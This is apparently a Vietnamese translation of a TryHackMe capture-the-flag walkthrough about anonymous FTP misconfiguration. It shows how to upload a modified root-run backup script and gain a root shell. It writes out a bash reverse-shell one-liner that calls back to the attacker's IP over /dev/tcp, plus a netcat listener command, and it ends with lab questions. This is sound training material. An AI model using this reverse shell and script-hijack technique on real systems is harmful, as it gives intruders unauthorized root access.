Task 14 [Day 9] Networking Anyone can be Santa!
Day 9: Anyone can be Santa - Prelude:
Ngay cả ông già Noel cũng phải áp dụng đạo đức "làm việc tại nhà" vào năm 2020. Để giúp ông già Noel, Elf McSkidy và nhóm của họ đã tạo một máy chủ tệp cho Công ty Lễ hội Tốt nhất (TBFC) sử dụng giao thức FTP. Tuy nhiên, kẻ tấn công đã có thể hack máy chủ mới này. Nhiệm vụ của bạn, nếu bạn chọn chấp nhận nó, là hiểu cách thức vụ hack này xảy ra và truy tìm lại các bước của kẻ tấn công.
9.1. Bắt đầu
Trước khi bắt đầu, chúng ta sẽ cần triển khai hai Phiên bản:
- THM AttackBox bằng cách nhấn nút "Start AttackBox" ở trên cùng bên phải của trang.
- Phiên bản dễ bị tấn công được đính kèm với nhiệm vụ này bằng cách nhấn nút "Triển khai" ở trên cùng bên phải của nhiệm vụ này / ngày.
9.2. Mục tiêu học tập hôm nay:Hiểu các nguyên tắc cơ bản của máy chủ tệp FTP và một số cấu hình sai phổ biến để cuối cùng tự khai thác những cấu hình này để có được quyền truy cập vào tbfc-ftp-01.
9.3. FTP là gì và nó được sử dụng ở đâu?
Giao thức truyền tệp (FTP) cung cấp một phương tiện chia sẻ tệp tin cậy so với các phương tiện thay thế
giao thức có sẵn. Trong khi giao thức này không được mã hóa, nó có thể được truy cập thông qua nhiều phương tiện khác nhau; từ phần mềm chuyên dụng như FileZilla, dòng lệnh hoặc trình duyệt web, Máy chủ FTP từ lâu đã được sử dụng để chia sẻ tệp giữa các thiết bị trên Internet do tính tương thích của nó.
Truy cập máy chủ FTP bằng Trình duyệt Web Mozilla Firefox.
FTP sử dụng hai kết nối khi truyền dữ liệu, như minh họa bên dưới:
Tiêu chuẩn cho hai kết nối này là hai cổng:
- Cổng 20 (Dữ liệu)
- Cổng 21 (Lệnh)
Các lệnh liên quan đến các hành động như liệt kê hoặc điều hướng thư mục, ghi vào tệp. Trong khi đó, cổng dữ liệu là nơi dữ liệu thực tế như tải xuống / tải lên tệp được truyền qua.
9.4. Không có thông tin đăng nhập? Không có gì!
Trước khi bất kỳ dữ liệu nào có thể được chia sẻ, máy khách phải đăng nhập vào Máy chủ FTP. Điều này là để xác định các lệnh mà máy khách có quyền thực thi và dữ liệu có thể được chia sẻ. Một số trang web sử dụng FTP để chia sẻ tệp thay vì chính máy chủ web. Tất nhiên, điều này có nghĩa là bạn phải chia sẻ tên người dùng / mật khẩu thông qua một số cách khác - điều đó không thực tế.
Vào chế độ "Ẩn danh" của FTP ... Cài đặt này cho phép máy khách sử dụng tên người dùng mặc định với bất kỳ mật khẩu nào. Người dùng này được đối xử như bất kỳ người dùng nào khác trên máy chủ FTP - bao gồm việc thực thi các quyền và đặc quyền đối với các lệnh và dữ liệu.
9.5. Sử dụng FTP Over Terminal
Chúng tôi sẽ sử dụng gói "FTP" được cài đặt trên hầu hết các môi trường Linux nhưng đặc biệt là THM AttackBox. Để kết nối, chúng tôi chỉ cần sử dụng ftp và cung cấp địa chỉ IP của Phiên bản. Trong trường hợp của tôi, tôi sẽ sử dụng ftp 10.10.185.239, nhưng bạn sẽ cần sử dụng ftp MACHINE_IP cho Phiên bản dễ bị tấn công của mình.
Khi được nhắc nhập "Tên", chúng ta nhập "anonymous". Nếu thành công, chúng tôi đã xác nhận rằng Máy chủ FTP đã bật chế độ "ẩn danh" - đăng nhập thành công trông giống như sau:
Lệnh | Mô tả |
---|---|
ls | Liệt kê các tệp và thư mục trong thư mục làm việc trên máy chủ FTP |
cd | Thay đổi thư mục làm việc của chúng tôi trên máy chủ FTP |
get | Tải tệp từ máy chủ FTP xuống thiết bị của bạn |
put | Tải tệp từ thiết bị của bạn lên máy chủ FTP |
Hãy xem các thư mục có sẵn cho chúng tôi bằng cách sử dụng ls. Chỉ có một thư mục chứa dữ liệu mà người dùng của chúng tôi có quyền truy cập:
Chúng ta sẽ điều hướng đến điều này bằng cách sử dụng cd để thay đổi thư mục làm việc của chúng tôi và sau đó sẽ liệt kê nội dung. Tệp trong thư mục này chứa tệp có phần mở rộng ".sh". Phần mở rộng này là một tập lệnh shell, khi được thực thi, sẽ chạy các lệnh mà chúng ta lập trình. Hãy sử dụng get để tải tệp từ máy chủ vào thiết bị của chúng ta, vì vậy chúng ta hiểu lý do tại sao tệp này được để ở đây!
9.6. Tìm kiếm Khai thác
Với tệp đã tải xuống, hãy mở tệp trên thiết bị của chúng tôi bằng trình soạn thảo văn bản đầu cuối chẳng hạn như nano.
Chúng ta không cần phải hiểu những gì xảy ra ở đây ngoài các bình luận. Tập lệnh thực thi mỗi phút (theo Elf McEager), tạo bản sao lưu của một thư mục và lưu trữ nó trong thư mục chính của Elf McEager. Điều gì sẽ xảy ra nếu chúng ta thay thế các lệnh được thực thi trong tập lệnh này bằng các lệnh độc hại của riêng mình? Tải lên tệp yêu cầu quyền riêng biệt không được cấp cho người dùng "ẩn danh". Tuy nhiên, các quyền rất dễ bị giám sát - chẳng hạn như trong trường hợp ở đây.
9.6.1. Hãy sử dụng cheatsheet pentesters để có được một lệnh tốt sẽ được thực thi bởi máy chủ tạo một trình bao cho AttackBox của chúng tôi, thay thế IP_ADDRESS bằng IP TryHackMe của bạn, địa chỉ này được hiển thị trên thanh điều hướng trên trang Access.
bash -i >& /dev/tcp/Your_TryHackMe_IP/4444 0>&1
9.6.2. Hãy thiết lập trình nghe netcat để bắt kết nối trên AttackBox của chúng ta:nc -lvnp 4444
9.6.3. Bây giờ chúng tôi sẽ cố gắng tải tập lệnh độc hại của mình lên thư mục mà chúng tôi có quyền ghi trên máy chủ FTP bằng cách quay lại lời nhắc FTP của chúng tôi và sử dụng put để đưa tệp vào thư mục đó (đảm bảo đó là thư mục hiện tại của bạn).
9.6.4. Quay lại trình nghe netcat của chúng ta, sau một phút chờ đợi, bạn sẽ thấy đầu ra như bên dưới! Thành công! Chúng tôi có một trình bao hệ thống đảo ngược trên Máy chủ FTP với tư cách là người dùng mạnh mẽ nhất. Bất kỳ lệnh nào bạn sử dụng bây giờ sẽ thực thi trên hệ thống của máy chủ FTP.
Tiến hành sử dụng các lệnh tương tự như những gì chúng ta đã sử dụng trước đây để tìm nội dung của root.txt nằm trong thư mục gốc! Hãy phân tích chính xác những gì đã xảy ra ở đây và giải thích lý do tại sao việc khai thác này xảy ra:
9.6.5.1. Máy chủ FTP đã bật chế độ ẩn danh cho phép chúng tôi xác thực. Điều này vốn dĩ không an toàn và có nhiều cách sử dụng hợp pháp.
9.6.5.2. Chúng tôi đã phát hiện ra rằng chúng tôi có quyền tải lên và tải xuống tệp. Mặc dù cũng là hành vi bình thường đối với các máy chủ FTP, nhưng người dùng ẩn danh sẽ không thể tải tệp lên.
9.6.5.3. Chúng tôi đã giải thích thông tin từ một tập lệnh sao lưu hợp pháp để tạo một trình kết nối ngược lại trên máy chủ của chúng ta.
9.6.5.4. Tập lệnh thực thi với tư cách là người dùng "root" - quyền lực nhất trên hệ thống Linux. Đây cũng là một lỗ hổng, vì bây giờ chúng ta có toàn quyền truy cập vào hệ thống. Việc sử dụng người dùng này nên bị hạn chế nếu có thể. Nếu tập lệnh được thực thi dưới dạng "elfmceager", chúng ta sẽ chỉ có quyền truy cập vào hệ thống với tư cách là người dùng đó (so sánh với hệ thống kém mạnh hơn nhiều)
9.7. Kết luận, đi đâu từ đây và Tài liệu bổ sung:
Chúng ta đã đề cập đến các nguyên tắc cơ bản của máy chủ FTP và lý do tại sao chúng vẫn được sử dụng cho đến ngày nay. Không chỉ điều này, mà chúng tôi cũng đã học được cách cấu hình sai đơn giản có thể dẫn đến một vụ tấn công toàn diện trên Máy chủ FTP. Nếu bạn muốn tìm hiểu thêm, phòng hướng dẫn Dịch vụ Mạng (do Polomints tạo) cũng bao gồm FTP. Nếu bạn muốn rèn giũa kỹ năng của mình, bạn có thể tìm thấy phòng Thử thách "Vô danh" (do Nameless0ne tạo ra) là một võ đường vui nhộn.
Question #1: Name the directory on the FTP server that has data accessible by the "anonymous" user
Question #2: What script gets executed within this directory?
Question #3: What movie did Santa have on his Christmas shopping list?
Question #4: Re-upload this script to contain malicious data (just like we did in section 9.6. Output the contents of /root/flag.txt!
Note that the script that we have uploaded may take a minute to return a connection. If it doesn't after a couple of minutes, double-check that you have set up a Netcat listener on the device that you are working from, and have provided the TryHackMe IP of the device that you are connecting from.
0 Comments